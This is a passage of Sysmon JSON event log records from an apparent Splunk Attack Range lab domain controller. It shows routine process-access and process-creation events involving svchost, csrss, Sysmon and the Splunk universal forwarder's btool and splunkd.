AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010F2380500}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010F2380500}","TargetProcessId":"4440","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.435\r\nProcessGuid: {90617006-407D-5F2D-0000-0010AA390500}\r\nProcessId: 4452\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407D-5F2D-0000-0010F2380500}\r\nParentProcessId: 4440\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.435","ProcessGuid":"{90617006-407D-5F2D-0000-0010AA390500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407D-5F2D-0000-0010F2380500}","ParentProcessId":"4440","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-407D-5F2D-0000-0010F2380500}\r\nSourceProcessId: 4440\r\nSourceThreadId: 4420\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010AA390500}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-407D-5F2D-0000-0010F2380500}","SourceProcessId":"4440","SourceThreadId":"4420","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010AA390500}","TargetProcessId":"4452","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010AA390500}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010AA390500}","TargetProcessId":"4452","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 